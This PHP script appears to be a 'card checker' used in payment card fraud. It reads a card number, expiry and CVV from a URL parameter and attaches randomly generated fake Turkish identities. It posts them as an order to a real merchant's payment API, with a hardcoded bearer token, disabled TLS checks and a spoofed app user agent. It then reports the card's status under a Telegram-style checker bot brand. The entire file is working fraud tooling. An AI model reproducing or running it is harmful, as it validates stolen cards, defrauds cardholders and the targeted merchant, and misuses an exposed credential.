<?php

// 2D Moka API Test
error_reporting(0);
header('Content-Type: application/json');

// Random data generator
function generate_random_data() {
    $first_names = ["Ahmet", "Mehmet", "Ayşe", "Fatma", "Ali", "Veli", "Zeynep", "Elif", "Mustafa", "Emine"];
    $last_names = ["Yılmaz", "Kaya", "Demir", "Çelik", "Şahin", "Yıldız", "Öztürk", "Aydın", "Özdemir", "Arslan"];
    
    $cities = ["İstanbul", "Ankara", "İzmir", "Bursa", "Antalya", "Adana", "Konya", "Gaziantep", "Şanlıurfa", "Mersin"];
    $districts = [
        "İstanbul" => ["Kadıköy", "Beşiktaş", "Şişli", "Üsküdar", "Beyoğlu"],
        "Ankara" => ["Çankaya", "Keçiören", "Mamak", "Yenimahalle", "Etimesgut"],
        "İzmir" => ["Konak", "Karşıyaka", "Bornova", "Buca", "Çiğli"],
        "Bursa" => ["Osmangazi", "Nilüfer", "Yıldırım", "Gemlik", "İnegöl"],
        "Antalya" => ["Muratpaşa", "Kepez", "Konyaaltı", "Alanya", "Manavgat"],
        "Adana" => ["Seyhan", "Yüreğir", "Çukurova", "Sarıçam", "Karaisalı"],
        "Konya" => ["Selçuklu", "Meram", "Karatay", "Ereğli", "Akşehir"],
        "Gaziantep" => ["Şahinbey", "Şehitkamil", "Oğuzeli", "Nizip", "İslahiye"],
        "Şanlıurfa" => ["Eyyübiye", "Haliliye", "Karaköprü", "Viranşehir", "Suruç"],
        "Mersin" => ["Akdeniz", "Mezitli", "Toroslar", "Yenişehir", "Tarsus"]
    ];
    
    $first_name = $first_names[array_rand($first_names)];
    $last_name = $last_names[array_rand($last_names)];
    $city = $cities[array_rand($cities)];
    $district = $districts[$city][array_rand($districts[$city])];
    
    // Random phone numbers
    $gsm_sender = "530 " . rand(100, 999) . " " . rand(10, 99) . " " . rand(10, 99);
    $gsm_receiver = "530 " . rand(100, 999) . " " . rand(10, 99) . " " . rand(10, 99);
    $gsm_main = (rand(0, 1) == 0) ? $gsm_sender : $gsm_receiver;
    
    // Random email
    $email_providers = ["gmail.com", "hotmail.com", "outlook.com", "yandex.com"];
    $email = strtolower($first_name) . rand(100, 999) . "@" . $email_providers[array_rand($email_providers)];
    
    // Random address
    $street_names = ["Atatürk", "İstiklal", "Cumhuriyet", "Fatih", "Mimar Sinan"];
    $street_number = rand(1, 150);
    $apartment = rand(1, 20);
    $address = $street_names[array_rand($street_names)] . " Cad. No:" . $street_number . " Daire:" . $apartment;
    
    // Random post code (5 digits)
    $post_code = str_pad(rand(10000, 99999), 5, '0', STR_PAD_LEFT);
    
    return [
        "name" => $first_name . " " . $last_name,
        "surname" => $last_name,
        "cardholder" => $first_name . " " . $last_name,
        "sender_name" => $first_name . " " . $last_name,
        "city" => $city,
        "state" => $district,
        "order_adress" => $address,
        "post_code" => $post_code,
        "gsm" => $gsm_main,
        "gsm_sender" => $gsm_sender,
        "gsm_receiver" => $gsm_receiver,
        "mail" => $email
    ];
}

// Get card from URL parameter
$kart_param = isset($_GET['kart']) ? $_GET['kart'] : '5269110181974165|12|2027|123';

// Parse card data (format: card|month|year|cvv)
$kart_parts = explode('|', $kart_param);
if (count($kart_parts) != 4) {
    echo json_encode([
        'error' => 'Gecersiz kart formati! Kullanim: kart=XXXXXXXXXXXX|AA|YYYY|CVV',
        'ornek' => 'kart=5269110181974165|02|2029|809'
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}

$card_input = str_replace(' ', '', $kart_parts[0]);
$month_input = $kart_parts[1];
$year_input = substr($kart_parts[2], -2); // Get last 2 digits of year
$cvv_input = $kart_parts[3];

// Ensure card is 16 digits
if (strlen($card_input) != 16) {
    echo json_encode([
        'error' => 'Kart numarasi 16 haneli olmali!',
        'received' => $card_input,
        'length' => strlen($card_input)
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}

// Format card with spaces
$formatted_card = substr($card_input, 0, 4) . ' ' . substr($card_input, 4, 4) . ' ' . substr($card_input, 8, 4) . ' ' . substr($card_input, 12, 4);

// Generate random data
$random_data = generate_random_data();

// API Configuration
$url = "https://app.kedi7.com/api/customer/order";
$bearer_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOjQwMDY0NSwiaXNzIjoiaHR0cHM6Ly9hcHAua2VkaTcuY29tL2FwaS9yZWdpc3RlciIsImlhdCI6MTc2MzIwNTA2NSwiZXhwIjozNzc2MzIwNTA2NSwibmJmIjoxNzYzMjA1MDY1LCJqdGkiOiJabUpib2RxU2FXTHdtcGVmIn0.ZgAPuNeW_pU7Cyya4v5ZoRsUzRqbXJ524B7deJsBsiE";

// Generate dynamic cartId
$cartId = date('Ymd') . '-' . sprintf('%04d', rand(1000, 9999)) . '-' . sprintf('%04x', rand(0, 0xffff)) . '-' . sprintf('%04x', rand(0, 0xffff)) . '-' . bin2hex(random_bytes(6));

// Request Body - EXACT COPY from provided data
$requestData = [
    "cartId" => "20251115-1111-8e42-a361-fe155198efe6",
    "name" => "aasdadas dasdasd",
    "surname" => "",
    "order_adress" => "asd12 das9da 9da89s da9s ada sd",
    "city" => "Adana",
    "state" => "Çukurova",
    "post_code" => "",
    "gsm" => "532 199 12 91",
    "gsm_receiver" => "532 199 12 91",
    "gsm_sender" => "532 199 12 91",
    "mail" => "sd129as8d9@asdas.com",
    "sender_name" => "aasdadas dasdasd",
    "payment_type" => 4,
    "cargo_id" => "11",
    "note" => null,
    "gift_price" => 31.0,
    "gift_package" => 0,
    "cardholder" => "asda sasd",
    "cardnumber" => $formatted_card,
    "cardcvv2" => $cvv_input,
    "cardexpiredatemonth" => $month_input,
    "cardexpiredateyear" => $year_input,
    "bank_id" => null,
    "total_amount" => 120.0,
    "products" => [
        [
            "product_id" => "98",
            "count" => 1,
            "images" => [
                ["hash" => "$2y$10$UuKOZsR2HhkPKSq.nalUNeJFjJKE91oar0VYo7a0AxlPZDy9DJS6m", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$qBcFWaU43e9wTbzFL3/CheX9ayrjb6opl3JHKBbUnoGSAWZ1GN/PS", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$WuDATd4WaX3MWCgArZP8OrBbb6bZ5oZeMsqeDlLzu759ZEdUflMK", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$EaXvYAUkargnAEbVbjYrC.1juZkpFYmnFgFvEPbOtDIp5oQEzQx6S", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$k/V7oy9ir/lJaWB2FMT2ZO60zWAo0ZPSLBjps9juXuq0fMlEJ6f9W", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$7iYzpjjScSP0u0gDL4JA9uPp7xs706zyTXkNsFoX.cWBJVHRpUR9O", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$xsnuoUbTJDXIstqckN3X/u7x7ksPuj5c0i6IIFa5lKoNxY7f3ASM2", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$ok67uj3jE3YVArlMvfIK2.McXNVxGDgVZ4ES1y/lr8BV2ZtGpL7pm", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$ltUssy.cYCmchCwKlYt8e.abk7xQA3S1Htcf3jUaLWBWcYDSa/oBS", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$vtPZnPn/qINe23HwsUqrHeaYGO0ay79HTz2DM2TCVUZ6sE6gmHUwm", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$Q8VLk28yHMVDRzDG2fEL7u.WGoJXHHWbPlHDy.xkdTO252bNOmjbq", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$TBr3zkM4dL1s66KqQaGs8.rETljeqBdMxGyFUhemp9k3cITV7PUMa", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$VdArFU3wU7v4vUkAVhX8mudcvAlNp1YoUSANUs8RtPDlJCSk0NZdW", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$g/XdnblgSwlS9aiPC488K..G0XzEQMz0mPqd6EkblVEW84ra8y1iO", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$nVjiJzyyGUvKh1IPWEwim.DtCUleW91EygCHiv2huZFuZu/WiYNpO", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$qOVPe/YlqJoN.5j.o5ymgOlobMbppIM2sZmAak91n9kAJ8cqBxNrC", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$VROu20yM5AAAmIMArzEphumQBw1fB00E.hqOem3SUpwFMByjVwdBe", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$PhmsklilKJq.paxJDyQBpuCaQ0LTETBoELeCd94TFVXO9yXlUUX..", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$hCq4rMKDB/f4feO1Cu5pBenquFhy7ZuS9FAiKhQYivcSFQQVIXMU2", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null],
                ["hash" => "$2y$10$RiuV8wf/giD9N2qOMIUAq.whalfhoos15gTQ6bWSG5xx4N/ujkF1e", "orderItem" => 0, "photo_text" => null, "count" => 1, "photo_color" => null]
            ]
        ]
    ]
];

// Convert to JSON
$jsonData = json_encode($requestData);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Accept-Encoding: gzip',
    'Authorization: Bearer ' . $bearer_token,
    'Content-Type: application/json',
    'Content-Length: ' . strlen($jsonData),
    'Host: app.kedi7.com',
    'User-Agent: Dart/3.5 (dart:io)'
]);

// Execute request
$start_time = microtime(true);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
$end_time = microtime(true);
$duration = round($end_time - $start_time, 2);

// Close cURL
curl_close($ch);

// DEBUG: Print raw response
header('Content-Type: text/plain; charset=utf-8');
echo "=== RAW RESPONSE DEBUG ===\n\n";
echo "HTTP Code: $httpCode\n";
echo "Duration: {$duration}s\n\n";
echo "Response Body:\n";
echo $response;
echo "\n\n=== END RAW RESPONSE ===\n";
exit;

// Parse response
$response_data = json_decode($response, true);
$message = isset($response_data['message']) ? $response_data['message'] : 'Unknown error';

// BIN bilgisi al
$bin = substr($card_input, 0, 6);
$bin_url = "http://localhost/yenicheckbotaerithia/apiler/binapi.php?bin=$bin";
$bin_response = @file_get_contents($bin_url);
$bin_info = "$bin | Unknown";
if ($bin_response) {
    $bin_data = json_decode($bin_response, true);
    if (is_array($bin_data)) {
        // Öncelik sırası: global2_db -> tr_db -> global_db
        $selected_db = null;
        
        if (isset($bin_data['global2_db']) && is_array($bin_data['global2_db']) && !empty($bin_data['global2_db']['bank'])) {
            $selected_db = $bin_data['global2_db'];
        } elseif (isset($bin_data['tr_db']) && is_array($bin_data['tr_db']) && !empty($bin_data['tr_db']['bank'])) {
            $selected_db = $bin_data['tr_db'];
        } elseif (isset($bin_data['global_db']) && is_array($bin_data['global_db']) && !empty($bin_data['global_db']['bank'])) {
            $selected_db = $bin_data['global_db'];
        }
        
        if ($selected_db) {
            $country = isset($selected_db['country']) ? strtoupper($selected_db['country']) : 'Unknown';
            $bank = isset($selected_db['bank']) ? strtoupper($selected_db['bank']) : 'Unknown';
            $type = isset($selected_db['type']) ? strtoupper($selected_db['type']) : '';
            $level = isset($selected_db['level']) ? strtoupper($selected_db['level']) : '';
            
            $bin_info = "$bin | $country | $bank | $type $level";
            $bin_info = trim($bin_info);
        }
    }
}

// Format output
$card_display = $card_input . '|' . $month_input . '|' . $kart_parts[2] . '|' . $cvv_input;

$output_text = "❌𝗗𝗘𝗖𝗟𝗜𝗡𝗘𝗗❌\n\n";
$output_text .= "𝗖𝗔𝗥𝗗: " . $card_display . "\n";
$output_text .= "𝗥𝗘𝗦𝗣𝗢𝗡𝗦𝗘: " . $message . "\n";
$output_text .= "𝗕𝗜𝗡: " . $bin_info . "\n";
$output_text .= "𝗚𝗔𝗧𝗘: 2DMoka\n";
$output_text .= "𝗧𝗜𝗠𝗘: " . $duration . "s\n\n";
$output_text .= "𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @aerithiacheck3r_bot";

// Output result
header('Content-Type: text/plain; charset=utf-8');
echo $output_text;

?>